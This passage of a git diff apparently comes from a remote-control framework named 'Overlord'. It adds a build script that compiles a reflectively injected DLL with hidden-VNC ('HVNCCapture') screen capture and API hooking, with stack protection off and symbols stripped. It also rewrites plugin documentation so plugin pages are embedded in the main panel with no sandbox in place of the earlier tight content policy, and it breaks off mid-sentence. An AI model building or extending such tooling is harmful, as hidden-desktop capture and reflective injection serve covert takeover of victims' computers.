+CXXFLAGS="$CXXFLAGS -I$SRC_DIR" +if [ -n "${MINHOOK_INC:-}" ]; then + CXXFLAGS="$CXXFLAGS $MINHOOK_INC" +fi + +# C flags for ReflectiveLoader (pure C, no C++) +CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" +CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64" +CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" +CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" +CFLAGS="$CFLAGS -fno-stack-protector" +CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables" +CFLAGS="$CFLAGS -I$SRC_DIR" +if [ -n "${MINHOOK_INC:-}" ]; then + CFLAGS="$CFLAGS $MINHOOK_INC" +fi + +echo "Compiling ReflectiveLoader.c ..." +"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" + +echo "Compiling ReflectiveDll.c (C++) ..." +"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c" + +echo "Compiling DXGICapture.c (C++) ..." +"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c" + +echo "Linking $DLL_NAME ..." +LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o" +if [ -n "${MINHOOK_OBJS:-}" ]; then + LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS" +fi +LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi" +if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then + LINK_LIBS="$LINK_LIBS $MINHOOK_LIB" +fi + +"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ + -Wl,--entry,DllMain \ + -Wl,--no-seh \ + -Wl,--disable-runtime-pseudo-reloc \ + -fno-stack-protector \ + -fno-exceptions -fno-rtti \ + -static-libgcc -static-libstdc++ \ + -s + +echo "Built: $OUT_DIR/$DLL_NAME" +ls -la "$OUT_DIR/$DLL_NAME" + +# Clean up object files +rm -f "$SRC_DIR"/*.o +if [ -d "$MINHOOK_DIR" ]; then + find "$MINHOOK_DIR" -name '*.o' -delete +fi + +echo "Done." diff --git a/plugins/PLUGINS.md b/plugins/PLUGINS.md index 9710b61..5b39a6d 100644 --- a/plugins/PLUGINS.md +++ b/plugins/PLUGINS.md @@ -459,13 +459,19 @@ rustup target add aarch64-apple-darwin x86_64-apple-darwin ### Open the UI -Plugin UI is served from: +Plugin UI is embedded directly in the main page at: ``` /plugins/?clientId= ``` -Your HTML loads its JS/CSS from `/plugins//assets/`. +The server reads your `.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins//assets/`. + +To get the `clientId` in your JS: + +```js +const clientId = new URLSearchParams(window.location.search).get("clientId"); +``` ## 6) Runtime: how events flow @@ -542,15 +548,13 @@ Plugins have the same capabilities as the agent itself. | Rust | Yes | Minimal | | Go | **No** ([#11100](https://github.com/golang/go/issues/11100)) | Go runtime + GC | -### UI Security constraints +### UI embedding -Plugin UI pages are still served with a tight CSP: +Plugin UI pages are embedded **directly** into the main Overlord page — no iframe, no sandbox, no bridge. The server reads your plugin's HTML, extracts the `` content and any ``/`